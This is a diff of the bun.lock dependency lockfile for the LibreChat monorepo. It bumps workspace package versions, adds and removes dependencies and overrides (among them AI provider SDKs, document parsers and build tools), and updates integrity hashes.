       "name": "@librechat/api",
-      "version": "1.7.23",
+      "version": "1.7.25",
       "devDependencies": {
         "@babel/preset-env": "^7.21.5",
         "@babel/preset-react": "^7.18.6",
@@ -266,7 +275,6 @@
         "@rollup/plugin-replace": "^5.0.5",
         "@rollup/plugin-typescript": "^12.1.2",
         "@types/bun": "^1.2.15",
-        "@types/diff": "^6.0.0",
         "@types/express": "^5.0.0",
         "@types/express-session": "^1.18.2",
         "@types/jest": "^29.5.2",
@@ -279,49 +287,60 @@
         "jest": "^30.2.0",
         "jest-junit": "^16.0.0",
         "librechat-data-provider": "*",
+        "mammoth": "^1.11.0",
         "mongodb": "^6.14.2",
-        "rimraf": "^6.1.2",
-        "rollup": "^4.22.4",
+        "pdfjs-dist": "^5.4.624",
+        "rimraf": "^6.1.3",
+        "rollup": "^4.34.9",
         "rollup-plugin-peer-deps-external": "^2.2.4",
         "ts-node": "^10.9.2",
         "typescript": "^5.0.4",
+        "xlsx": "https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz",
       },
       "peerDependencies": {
-        "@aws-sdk/client-s3": "^3.758.0",
+        "@anthropic-ai/vertex-sdk": "^0.14.3",
+        "@aws-sdk/client-bedrock-runtime": "^3.970.0",
+        "@aws-sdk/client-s3": "^3.980.0",
         "@azure/identity": "^4.7.0",
         "@azure/search-documents": "^12.0.0",
-        "@azure/storage-blob": "^12.27.0",
+        "@azure/storage-blob": "^12.30.0",
+        "@google/genai": "^1.19.0",
         "@keyv/redis": "^4.3.3",
-        "@langchain/core": "^0.3.79",
-        "@librechat/agents": "^3.0.50",
+        "@langchain/core": "^0.3.80",
+        "@librechat/agents": "^3.1.55",
         "@librechat/data-schemas": "*",
-        "@modelcontextprotocol/sdk": "^1.24.3",
-        "axios": "^1.12.1",
+        "@modelcontextprotocol/sdk": "^1.27.1",
+        "@smithy/node-http-handler": "^4.4.5",
+        "axios": "^1.13.5",
         "connect-redis": "^8.1.0",
-        "diff": "^7.0.0",
         "eventsource": "^3.0.2",
         "express": "^5.1.0",
         "express-session": "^1.18.2",
         "firebase": "^11.0.2",
         "form-data": "^4.0.4",
+        "google-auth-library": "^9.15.1",
+        "https-proxy-agent": "^7.0.6",
         "ioredis": "^5.3.2",
         "js-yaml": "^4.1.1",
         "jsonwebtoken": "^9.0.0",
         "keyv": "^5.3.2",
         "keyv-file": "^5.1.2",
         "librechat-data-provider": "*",
+        "mammoth": "^1.11.0",
+        "mathjs": "^15.1.0",
         "memorystore": "^1.6.7",
         "mongoose": "^8.12.1",
         "node-fetch": "2.7.0",
+        "pdfjs-dist": "^5.4.624",
         "rate-limit-redis": "^4.2.0",
         "tiktoken": "^1.0.15",
-        "undici": "^7.10.0",
+        "undici": "^7.18.2",
         "zod": "^3.22.4",
       },
     },
     "packages/client": {
       "name": "@librechat/client",
-      "version": "0.4.52",
+      "version": "0.4.54",
       "devDependencies": {
         "@babel/core": "^7.28.5",
         "@babel/preset-env": "^7.28.5",
@@ -351,8 +370,8 @@
         "react": "^18.2.0",
         "react-dom": "^18.2.0",
         "react-i18next": "^15.4.0",
-        "rimraf": "^6.1.2",
-        "rollup": "^4.0.0",
+        "rimraf": "^6.1.3",
+        "rollup": "^4.34.9",
         "rollup-plugin-peer-deps-external": "^2.2.4",
         "rollup-plugin-postcss": "^4.0.2",
         "rollup-plugin-typescript2": "^0.35.0",
@@ -366,10 +385,10 @@
         "@dicebear/core": "^9.2.2",
         "@headlessui/react": "^2.1.2",
         "@radix-ui/react-accordion": "^1.2.11",
-        "@radix-ui/react-alert-dialog": "^1.1.15",
+        "@radix-ui/react-alert-dialog": "1.0.2",
         "@radix-ui/react-checkbox": "^1.0.3",
         "@radix-ui/react-collapsible": "^1.1.11",
-        "@radix-ui/react-dialog": "^1.1.15",
+        "@radix-ui/react-dialog": "1.0.2",
         "@radix-ui/react-dropdown-menu": "^2.1.1",
         "@radix-ui/react-hover-card": "^1.0.5",
         "@radix-ui/react-icons": "^1.3.0",
@@ -409,9 +428,9 @@
     },
     "packages/data-provider": {
       "name": "librechat-data-provider",
-      "version": "0.8.300",
+      "version": "0.8.302",
       "dependencies": {
-        "axios": "^1.12.1",
+        "axios": "^1.13.5",
         "dayjs": "^1.11.13",
         "js-yaml": "^4.1.1",
         "zod": "^3.22.4",
@@ -420,7 +439,6 @@
         "@babel/preset-env": "^7.21.5",
         "@babel/preset-react": "^7.18.6",
         "@babel/preset-typescript": "^7.21.0",
-        "@langchain/core": "^0.3.62",
         "@rollup/plugin-alias": "^5.1.0",
         "@rollup/plugin-commonjs": "^29.0.0",
         "@rollup/plugin-json": "^6.1.0",
@@ -435,8 +453,8 @@
         "jest": "^30.2.0",
         "jest-junit": "^16.0.0",
         "openapi-types": "^12.1.3",
-        "rimraf": "^6.1.2",
-        "rollup": "^4.22.4",
+        "rimraf": "^6.1.3",
+        "rollup": "^4.34.9",
         "rollup-plugin-peer-deps-external": "^2.2.4",
         "rollup-plugin-typescript2": "^0.35.0",
         "typescript": "^5.0.4",
@@ -447,7 +465,7 @@
     },
     "packages/data-schemas": {
       "name": "@librechat/data-schemas",
-      "version": "0.0.36",
+      "version": "0.0.38",
       "devDependencies": {
         "@rollup/plugin-alias": "^5.1.0",
         "@rollup/plugin-commonjs": "^29.0.0",
@@ -456,15 +474,14 @@
         "@rollup/plugin-replace": "^5.0.5",
         "@rollup/plugin-terser": "^0.4.4",
         "@rollup/plugin-typescript": "^12.1.2",
-        "@types/diff": "^6.0.0",
         "@types/express": "^5.0.0",
         "@types/jest": "^29.5.2",
         "@types/node": "^20.3.0",
         "jest": "^30.2.0",
         "jest-junit": "^16.0.0",
         "mongodb-memory-server": "^10.1.4",
-        "rimraf": "^6.1.2",
-        "rollup": "^4.22.4",
+        "rimraf": "^6.1.3",
+        "rollup": "^4.34.9",
         "rollup-plugin-peer-deps-external": "^2.2.4",
         "rollup-plugin-typescript2": "^0.35.0",
         "ts-node": "^10.9.2",
@@ -474,7 +491,7 @@
         "jsonwebtoken": "^9.0.2",
         "klona": "^2.0.6",
         "librechat-data-provider": "*",
-        "lodash": "^4.17.21",
+        "lodash": "^4.17.23",
         "meilisearch": "^0.38.0",
         "mongoose": "^8.12.1",
         "nanoid": "^3.3.7",
@@ -484,11 +501,20 @@
     },
   },
   "overrides": {
+    "@anthropic-ai/sdk": "0.73.0",
+    "@hono/node-server": "^1.19.10",
     "axios": "1.12.1",
     "elliptic": "^6.6.1",
+    "fast-xml-parser": "5.3.8",
     "form-data": "^4.0.4",
+    "hono": "^4.12.4",
     "katex": "^0.16.21",
+    "langsmith": "0.4.12",
     "mdast-util-gfm-autolink-literal": "2.0.0",
+    "serialize-javascript": "^7.0.3",
+    "svgo": "^2.8.2",
+    "tslib": "^2.8.1",
+    "underscore": "1.13.8",
   },
   "packages": {
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@@ -497,7 +523,11 @@
 
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+    "@antfu/install-pkg": ["@antfu/install-pkg@1.1.0", "", { "dependencies": { "package-manager-detector": "^1.3.0", "tinyexec": "^1.0.1" } }, "sha512-MGQsmw10ZyI+EJo45CdSER4zEb+p31LpDAFp2Z3gkSd1yqVZGi0Ebx++YTEMonJy4oChEMLsxZ64j8FH6sSqtQ=="],
+
+    "@anthropic-ai/sdk": ["@anthropic-ai/sdk@0.73.0", "", { "dependencies": { "json-schema-to-ts": "^3.1.1" }, "peerDependencies": { "zod": "^3.25.0 || ^4.0.0" }, "optionalPeers": ["zod"], "bin": { "anthropic-ai-sdk": "bin/cli" } }, "sha512-URURVzhxXGJDGUGFunIOtBlSl7KWvZiAAKY/ttTkZAkXT9bTPqdk2eK0b8qqSxXpikh3QKPnPYpiyX98zf5ebw=="],
+
+    "@anthropic-ai/vertex-sdk": ["@anthropic-ai/vertex-sdk@0.14.4", "", { "dependencies": { "@anthropic-ai/sdk": ">=0.50.3 <1", "google-auth-library": "^9.4.2" } }, "sha512-BZUPRWghZxfSFtAxU563wH+jfWBPoedAwsVxG35FhmNsjeV8tyfN+lFriWhCpcZApxA4NdT6Soov+PzfnxxD5g=="],
 
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@@ -525,19 +555,21 @@
 
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+
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     "@aws-sdk/credential-provider-cognito-identity": ["@aws-sdk/credential-provider-cognito-identity@3.623.0", "", { "dependencies": { "@aws-sdk/client-cognito-identity": "3.623.0", "@aws-sdk/types": "3.609.0", "@smithy/property-provider": "^3.1.3", "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-sXU2KtWpFzIzE4iffSIUbl4mgbeN1Rta6BnuKtS3rrVrryku9akAxY//pulbsIsYfXRzOwZzULsa+cxQN00lrw=="],
 
@@ -547,9 +579,9 @@
 
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@@ -559,57 +591,57 @@
 
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@@ -647,7 +679,9 @@
 
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@@ -657,45 +691,33 @@
 
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@@ -763,131 +781,131 @@
 
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@@ -1063,55 +1135,57 @@
 
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@@ -1125,7 +1199,7 @@
 
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     "@eslint/js": ["@eslint/js@9.39.1", "", {}, "sha512-S26Stp4zCy88tH94QbBv3XCuzRQiZ9yXofEILmglYTh/Ug/a9/umqvgFtYBAo3Lp0nsI/5/qH1CCrbdK3AP1Tw=="],
 
@@ -1231,17 +1305,19 @@
 
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+    "@google/genai": ["@google/genai@1.44.0", "", { "dependencies": { "google-auth-library": "^10.3.0", "p-retry": "^4.6.2", "protobufjs": "^7.5.4", "ws": "^8.18.0" }, "peerDependencies": { "@modelcontextprotocol/sdk": "^1.25.2" }, "optionalPeers": ["@modelcontextprotocol/sdk"] }, "sha512-kRt9ZtuXmz+tLlcNntN/VV4LRdpl6ZOu5B1KbfNgfR65db15O6sUQcwnwLka8sT/V6qysD93fWrgJHF2L7dA9A=="],
 
-    "@googleapis/youtube": ["@googleapis/youtube@20.0.0", "", { "dependencies": { "googleapis-common": "^7.0.0" } }, "sha512-wdt1J0JoKYhvpoS2XIRHX0g/9ul/B0fQeeJAhuuBIdYINuuLt6/oZYZZCBmkuhtkA3IllXgqgAXOjLtLRAnR2g=="],
+    "@google/generative-ai": ["@google/generative-ai@0.24.0", "", {}, "sha512-fnEITCGEB7NdX0BhoYZ/cq/7WPZ1QS5IzJJfC3Tg/OwkvBetMiVJciyaan297OvE4B9Jg1xvo0zIazX/9sGu1Q=="],
 
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+
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+    "@hono/node-server": ["@hono/node-server@1.19.11", "", { "peerDependencies": { "hono": "^4" } }, "sha512-dr8/3zEaB+p0D2n/IUrlPF1HZm586qgJNXK1a9fhg/PzdtkK7Ksd5l312tJX2yBuALqDYBlG20QEbayqPyxn+g=="],
 
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@@ -1251,6 +1327,10 @@
 
     "@humanwhocodes/retry": ["@humanwhocodes/retry@0.4.3", "", {}, "sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ=="],
 
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+
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@@ -1315,7 +1395,7 @@
 
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+    "@jest/fake-timers": ["@jest/fake-timers@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@sinonjs/fake-timers": "^13.0.0", "@types/node": "*", "jest-message-util": "30.2.0", "jest-mock": "30.2.0", "jest-util": "30.2.0" } }, "sha512-HI3tRLjRxAbBy0VO8dqqm7Hb2mIa8d5bg/NJkyQcOk7V118ObQML8RC5luTF/Zsg4474a+gDvhce7eTnP4GhYw=="],
 
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@@ -1359,7 +1439,7 @@
 
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-    "@langchain/core": ["@langchain/core@0.3.79", "", { "dependencies": { "@cfworker/json-schema": "^4.0.2", "ansi-styles": "^5.0.0", "camelcase": "6", "decamelize": "1.2.0", "js-tiktoken": "^1.0.12", "langsmith": "^0.3.67", "mustache": "^4.2.0", "p-queue": "^6.6.2", "p-retry": "4", "uuid": "^10.0.0", "zod": "^3.25.32", "zod-to-json-schema": "^3.22.3" } }, "sha512-ZLAs5YMM5N2UXN3kExMglltJrKKoW7hs3KMZFlXUnD7a5DFKBYxPFMeXA4rT+uvTxuJRZPCYX0JKI5BhyAWx4A=="],
+    "@langchain/core": ["@langchain/core@0.3.80", "", { "dependencies": { "@cfworker/json-schema": "^4.0.2", "ansi-styles": "^5.0.0", "camelcase": "6", "decamelize": "1.2.0", "js-tiktoken": "^1.0.12", "langsmith": "^0.3.67", "mustache": "^4.2.0", "p-queue": "^6.6.2", "p-retry": "4", "uuid": "^10.0.0", "zod": "^3.25.32", "zod-to-json-schema": "^3.22.3" } }, "sha512-vcJDV2vk1AlCwSh3aBm/urQ1ZrlXFFBocv11bz/NBUfLWD5/UDNMzwPdaAd2dKvNmTWa9FM2lirLU3+JCf4cRA=="],
 
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@@ -1405,7 +1485,7 @@
 
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     "@librechat/api": ["@librechat/api@workspace:packages/api"],
 
@@ -1421,14 +1501,44 @@
 
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+
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+
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@@ -1479,11 +1589,11 @@
 
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@@ -1619,7 +1729,7 @@
 
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@@ -1673,7 +1783,7 @@
 
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@@ -1681,6 +1791,8 @@
 
     "@remote-dom/react": ["@remote-dom/react@1.2.2", "", { "dependencies": { "@remote-dom/core": "^1.7.0", "@types/react": "^18.0.0", "htm": "^3.1.1" }, "peerDependencies": { "react": "^17.0.0 || ^18.0.0" } }, "sha512-PkvioODONTr1M0StGDYsR4Ssf5M0Rd4+IlWVvVoK3Zrw8nr7+5mJkgNofaj/z7i8Aep78L28PCW8/WduUt4unA=="],
 
+    "@rolldown/pluginutils": ["@rolldown/pluginutils@1.0.0-rc.3", "", {}, "sha512-eybk3TjzzzV97Dlj5c+XrBFW57eTNhzod66y9HrBlzJ6NsCrWCp/2kaPS3K9wJmurBC0Tdw4yPjXKZqlznim3Q=="],
+
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@@ -1721,10 +1833,18 @@
 
     "@rollup/rollup-linux-arm64-musl": ["@rollup/rollup-linux-arm64-musl@4.37.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-pfxLBMls+28Ey2enpX3JvjEjaJMBX5XlPCZNGxj4kdJyHduPBXtxYeb8alo0a7bqOoWZW2uKynhHxF/MWoHaGQ=="],
 
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+
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+
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+
+    "@rollup/rollup-linux-ppc64-musl": ["@rollup/rollup-linux-ppc64-musl@4.59.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-+2kLtQ4xT3AiIxkzFVFXfsmlZiG5FXYW7ZyIIvGA7Bdeuh9Z0aN4hVyXS/G1E9bTP/vqszNIN/pUKCk/BTHsKA=="],
+
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@@ -1735,121 +1855,129 @@
 
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+
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+
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     "@stitches/core": ["@stitches/core@1.2.8", "", {}, "sha512-Gfkvwk9o9kE9r9XNBmJRfV8zONvXThnm1tcuojL04Uy5uRyqg93DC83lDebl0rocZCfKSjUv+fWYtMQmEDJldg=="],
 
@@ -1883,10 +2011,6 @@
 
     "@tokenizer/token": ["@tokenizer/token@0.3.0", "", {}, "sha512-OvjF+z51L3ov0OyAU0duzsYuvO01PH7x4t6DJx+guahgTnBHkhJdG7soQeTSFLWN3efnHyibZ4Z8l2EuWwJN3A=="],
 
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-
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-
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     "@tsconfig/node12": ["@tsconfig/node12@1.0.11", "", {}, "sha512-cqefuRsh12pWyGsIoBKJA9luFu3mRxCA+ORZvA4ktLSzIuCUtWVxGIuXigEwO5/ywWFMZ2QEGKWvkZG1zDMTag=="],
@@ -1913,9 +2037,69 @@
 
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+    "@types/d3": ["@types/d3@7.4.3", "", { "dependencies": { "@types/d3-array": "*", "@types/d3-axis": "*", "@types/d3-brush": "*", "@types/d3-chord": "*", "@types/d3-color": "*", "@types/d3-contour": "*", "@types/d3-delaunay": "*", "@types/d3-dispatch": "*", "@types/d3-drag": "*", "@types/d3-dsv": "*", "@types/d3-ease": "*", "@types/d3-fetch": "*", "@types/d3-force": "*", "@types/d3-format": "*", "@types/d3-geo": "*", "@types/d3-hierarchy": "*", "@types/d3-interpolate": "*", "@types/d3-path": "*", "@types/d3-polygon": "*", "@types/d3-quadtree": "*", "@types/d3-random": "*", "@types/d3-scale": "*", "@types/d3-scale-chromatic": "*", "@types/d3-selection": "*", "@types/d3-shape": "*", "@types/d3-time": "*", "@types/d3-time-format": "*", "@types/d3-timer": "*", "@types/d3-transition": "*", "@types/d3-zoom": "*" } }, "sha512-lZXZ9ckh5R8uiFVt8ogUNf+pIrK4EsWrx2Np75WvF/eTpJ0FMHNhjXk8CKEx/+gpHbNQyJWehbFaTvqmHWB3ww=="],
 
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+    "@types/d3-zoom": ["@types/d3-zoom@3.0.8", "", { "dependencies": { "@types/d3-interpolate": "*", "@types/d3-selection": "*" } }, "sha512-iqMC4/YlFCSlO8+2Ii1GGGliCAY4XdeG748w5vQUbevlbDu0zSjH/+jojorQVBK/se0j6DUFNPBGSqD3YWYnDw=="],
+
+    "@types/debug": ["@types/debug@4.1.12", "", { "dependencies": { "@types/ms": "*" } }, "sha512-vIChWdVG3LG1SMxEvI/AK+FWJthlrqlTu7fbrlywTkkaONwk/UAGaULXRlf8vkzFBLVm0zkMdCquhL5aOjhXPQ=="],
 
     "@types/estree": ["@types/estree@1.0.6", "", {}, "sha512-AYnb1nQyY49te+VRAVgmzfcgjYS91mY5P0TKUDCLEM+gNnA+3T6rWITXRLYCpahpqSQbN5cE+gHpnPyXjHWxcw=="],
 
@@ -1927,6 +2111,8 @@
 
     "@types/express-session": ["@types/express-session@1.18.2", "", { "dependencies": { "@types/express": "*" } }, "sha512-k+I0BxwVXsnEU2hV77cCobC08kIsn4y44C3gC0b46uxZVMaXA04lSPgRLR/bSL2w0t0ShJiG8o4jPzRG/nscFg=="],
 
+    "@types/geojson": ["@types/geojson@7946.0.16", "", {}, "sha512-6C8nqWur3j98U6+lXDfTUWIfgvZU+EumvpHKcYjujKH7woYyLj2sUmff0tRhrqM7BohUw7Pz3ZB1jj2gW9Fvmg=="],
+
     "@types/hast": ["@types/hast@3.0.4", "", { "dependencies": { "@types/unist": "*" } }, "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ=="],
 
     "@types/http-errors": ["@types/http-errors@2.0.4", "", {}, "sha512-D0CFMMtydbJAegzOyHjtiKPLlvnm3iTZyZRSZoLq2mRhDdmLfIWOCYPfQJ4cu2erKghU++QvjcUjp/5h7hESpA=="],
@@ -2011,10 +2197,14 @@
 
     "@types/webidl-conversions": ["@types/webidl-conversions@7.0.3", "", {}, "sha512-CiJJvcRtIgzadHCYXw7dqEnMNRjhGZlYK05Mj9OyktqV8uVT8fD2BFOB7S1uwBE3Kj2Z+4UyPmFw/Ixgw/LAlA=="],
 
+    "@types/whatwg-mimetype": ["@types/whatwg-mimetype@3.0.2", "", {}, "sha512-c2AKvDT8ToxLIOUlN51gTiHXflsfIFisS4pO7pDPoKouJCESkhZnEy623gwP9laCy5lnLDAw1vAzu2vM2YLOrA=="],
+
     "@types/whatwg-url": ["@types/whatwg-url@11.0.5", "", { "dependencies": { "@types/webidl-conversions": "*" } }, "sha512-coYR071JRaHa+xoEvvYqvnIHaVqaYrLPbsufM9BF63HkwI5Lgmy2QR8Q5K/lYDYo5AK82wOvSOS0UsLTpTG7uQ=="],
 
     "@types/winston": ["@types/winston@2.4.4", "", { "dependencies": { "winston": "*" } }, "sha512-BVGCztsypW8EYwJ+Hq+QNYiT/MUyCif0ouBH+flrY66O5W+KIXAMML6E/0fJpm7VjIzgangahl5S03bJJQGrZw=="],
 
+    "@types/ws": ["@types/ws@8.18.1", "", { "dependencies": { "@types/node": "*" } }, "sha512-ThVF6DCVhA8kUGy+aazFQ4kXQ7E1Ty7A3ypFOe0IcJV8O/M511G99AW24irKrW56Wt44yG9+ij8FaqoBGkuBXg=="],
+
     "@types/xml-encryption": ["@types/xml-encryption@1.2.4", "", { "dependencies": { "@types/node": "*" } }, "sha512-I69K/WW1Dv7j6O3jh13z0X8sLWJRXbu5xnHDl9yHzUNDUBtUoBY058eb5s+x/WG6yZC1h8aKdI2EoyEPjyEh+Q=="],
 
     "@types/xml2js": ["@types/xml2js@0.4.14", "", { "dependencies": { "@types/node": "*" } }, "sha512-4YnrRemBShWRO2QjvUin8ESA41rH+9nQGLUGZV/1IDhi3SL9OhdpNC/MrulTWuptXKwhx/aDxE7toV0f/ypIXQ=="],
@@ -2039,6 +2229,8 @@
 
     "@typescript-eslint/visitor-keys": ["@typescript-eslint/visitor-keys@8.24.0", "", { "dependencies": { "@typescript-eslint/types": "8.24.0", "eslint-visitor-keys": "^4.2.0" } }, "sha512-kArLq83QxGLbuHrTMoOEWO+l2MwsNS2TGISEdx8xgqpkbytB07XmlQyQdNDrCc1ecSqx0cnmhGvpX+VBwqqSkg=="],
 
+    "@typespec/ts-http-runtime": ["@typespec/ts-http-runtime@0.3.4", "", { "dependencies": { "http-proxy-agent": "^7.0.0", "https-proxy-agent": "^7.0.0", "tslib": "^2.6.2" } }, "sha512-CI0NhTrz4EBaa0U+HaaUZrJhPoso8sG7ZFya8uQoBA57fjzrjRSv87ekCjLZOFExN+gXE/z0xuN2QfH4H2HrLQ=="],
+
     "@ungap/structured-clone": ["@ungap/structured-clone@1.3.0", "", {}, "sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g=="],
 
     "@unrs/resolver-binding-android-arm-eabi": ["@unrs/resolver-binding-android-arm-eabi@1.11.1", "", { "os": "android", "cpu": "arm" }, "sha512-ppLRUgHVaGRWUx0R0Ut06Mjo9gBaBkg3v/8AxusGLhsIotbBLuRk51rAzqLC8gq6NyyAojEXglNjzf6R948DNw=="],
@@ -2079,48 +2271,14 @@
 
     "@unrs/resolver-binding-win32-x64-msvc": ["@unrs/resolver-binding-win32-x64-msvc@1.11.1", "", { "os": "win32", "cpu": "x64" }, "sha512-lrW200hZdbfRtztbygyaq/6jP6AKE8qQN2KvPcJ+x7wiD038YtnYtZ82IMNJ69GJibV7bwL3y9FgK+5w/pYt6g=="],
 
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+    "@upsetjs/venn.js": ["@upsetjs/venn.js@2.0.0", "", { "optionalDependencies": { "d3-selection": "^3.0.0", "d3-transition": "^3.0.1" } }, "sha512-WbBhLrooyePuQ1VZxrJjtLvTc4NVfpOyKx0sKqioq9bX1C1m7Jgykkn8gLrtwumBioXIqam8DLxp88Adbue6Hw=="],
 
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-
-    "@webassemblyjs/floating-point-hex-parser": ["@webassemblyjs/floating-point-hex-parser@1.11.6", "", {}, "sha512-ejAj9hfRJ2XMsNHk/v6Fu2dGS+i4UaXBXGemOfQ/JfQ6mdQg/WXtwleQRLLS4OvfDhv8rYnVwH27YJLMyYsxhw=="],
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-    "@webassemblyjs/ieee754": ["@webassemblyjs/ieee754@1.11.6", "", { "dependencies": { "@xtuc/ieee754": "^1.2.0" } }, "sha512-LM4p2csPNvbij6U1f19v6WR56QZ8JcHg3QIJTlSwzFcmx6WSORicYj6I63f9yU1kEUtrpG+kjkiIAkevHpDXrg=="],
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-    "@webassemblyjs/wasm-edit": ["@webassemblyjs/wasm-edit@1.12.1", "", { "dependencies": { "@webassemblyjs/ast": "1.12.1", "@webassemblyjs/helper-buffer": "1.12.1", "@webassemblyjs/helper-wasm-bytecode": "1.11.6", "@webassemblyjs/helper-wasm-section": "1.12.1", "@webassemblyjs/wasm-gen": "1.12.1", "@webassemblyjs/wasm-opt": "1.12.1", "@webassemblyjs/wasm-parser": "1.12.1", "@webassemblyjs/wast-printer": "1.12.1" } }, "sha512-1DuwbVvADvS5mGnXbE+c9NfA8QRcZ6iKquqjjmR10k6o+zzsRVesil54DKexiowcFCPdr/Q0qaMgB01+SQ1u6g=="],
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-    "@webassemblyjs/wasm-gen": ["@webassemblyjs/wasm-gen@1.12.1", "", { "dependencies": { "@webassemblyjs/ast": "1.12.1", "@webassemblyjs/helper-wasm-bytecode": "1.11.6", "@webassemblyjs/ieee754": "1.11.6", "@webassemblyjs/leb128": "1.11.6", "@webassemblyjs/utf8": "1.11.6" } }, "sha512-TDq4Ojh9fcohAw6OIMXqiIcTq5KUXTGRkVxbSo1hQnSy6lAM5GSdfwWeSxpAo0YzgsgF182E/U0mDNhuA0tW7w=="],
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-
-    "@webassemblyjs/wast-printer": ["@webassemblyjs/wast-printer@1.12.1", "", { "dependencies": { "@webassemblyjs/ast": "1.12.1", "@xtuc/long": "4.2.2" } }, "sha512-+X4WAlOisVWQMikjbcvY2e0rwPsKQ9F688lksZhBcPycBBuii3O7m8FACbDMWDojpAqvjIncrG8J0XHKyQfVeA=="],
+    "@vitejs/plugin-react": ["@vitejs/plugin-react@5.1.4", "", { "dependencies": { "@babel/core": "^7.29.0", "@babel/plugin-transform-react-jsx-self": "^7.27.1", "@babel/plugin-transform-react-jsx-source": "^7.27.1", "@rolldown/pluginutils": "1.0.0-rc.3", "@types/babel__core": "^7.20.5", "react-refresh": "^0.18.0" }, "peerDependencies": { "vite": "^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0" } }, "sha512-VIcFLdRi/VYRU8OL/puL7QXMYafHmqOnwTZY50U1JPlCNj30PxCMx65c494b1K9be9hX83KVt0+gTEwTWLqToA=="],
 
     "@xmldom/is-dom-node": ["@xmldom/is-dom-node@1.0.1", "", {}, "sha512-CJDxIgE5I0FH+ttq/Fxy6nRpxP70+e2O048EPe85J2use3XKdatVM7dDVvFNjQudd9B49NPoZ+8PG49zj4Er8Q=="],
 
     "@xmldom/xmldom": ["@xmldom/xmldom@0.8.10", "", {}, "sha512-2WALfTl4xo2SkGCYRt6rDTFfk9R1czmBvUQy12gK2KuRKIpWEhcbbzy8EZXtz/jkRqHX8bFEc6FC1HjX4TUWYw=="],
 
-    "@xtuc/ieee754": ["@xtuc/ieee754@1.2.0", "", {}, "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA=="],
-
-    "@xtuc/long": ["@xtuc/long@4.2.2", "", {}, "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ=="],
-
-    "abab": ["abab@2.0.6", "", {}, "sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA=="],
-
     "abbrev": ["abbrev@1.1.1", "", {}, "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q=="],
 
     "abstract-logging": ["abstract-logging@2.0.1", "", {}, "sha512-2BjRTZxTPvheOvGbBslFSYOUkr+SjPtOnrLP33f+VIWLzezQpZcqVg7ja3L4dBXmzzgwT+a029jRx5PCi3JuiA=="],
@@ -2129,8 +2287,6 @@
 
     "acorn": ["acorn@8.15.0", "", { "bin": "bin/acorn" }, "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg=="],
 
-    "acorn-globals": ["acorn-globals@7.0.1", "", { "dependencies": { "acorn": "^8.1.0", "acorn-walk": "^8.0.2" } }, "sha512-umOSDSDrfHbTNPuNpC2NSnnA3LUrqpevPb4T9jRx4MagXNS0rs+gwiTcAvqCRmsD6utzsrzNt+ebm00SNWiC3Q=="],
-
     "acorn-import-attributes": ["acorn-import-attributes@1.9.5", "", { "peerDependencies": { "acorn": "^8" } }, "sha512-n02Vykv5uA3eHGM/Z2dQrcD56kL8TyDb2p1+0P83PClMnC/nc+anbQRhIOWnSq4Ke/KvDPrY3C9hDtC/A3eHnQ=="],
 
     "acorn-jsx": ["acorn-jsx@5.3.2", "", { "peerDependencies": { "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" } }, "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ=="],
@@ -2139,12 +2295,10 @@
 
     "agent-base": ["agent-base@7.1.4", "", {}, "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ=="],
 
-    "ajv": ["ajv@6.12.6", "", { "dependencies": { "fast-deep-equal": "^3.1.1", "fast-json-stable-stringify": "^2.0.0", "json-schema-traverse": "^0.4.1", "uri-js": "^4.2.2" } }, "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g=="],
+    "ajv": ["ajv@6.14.0", "", { "dependencies": { "fast-deep-equal": "^3.1.1", "fast-json-stable-stringify": "^2.0.0", "json-schema-traverse": "^0.4.1", "uri-js": "^4.2.2" } }, "sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw=="],
 
     "ajv-formats": ["ajv-formats@3.0.1", "", { "dependencies": { "ajv": "^8.0.0" }, "peerDependencies": { "ajv": "^8.0.0" } }, "sha512-8iUql50EUR+uUcdRQ3HDqa6EVyo3docL8g5WJ3FNcWmu62IbkGUue/pEyLBW8VGKKucTPgqeks4fIU1DA4yowQ=="],
 
-    "ajv-keywords": ["ajv-keywords@3.5.2", "", { "peerDependencies": { "ajv": "^6.9.1" } }, "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ=="],
-
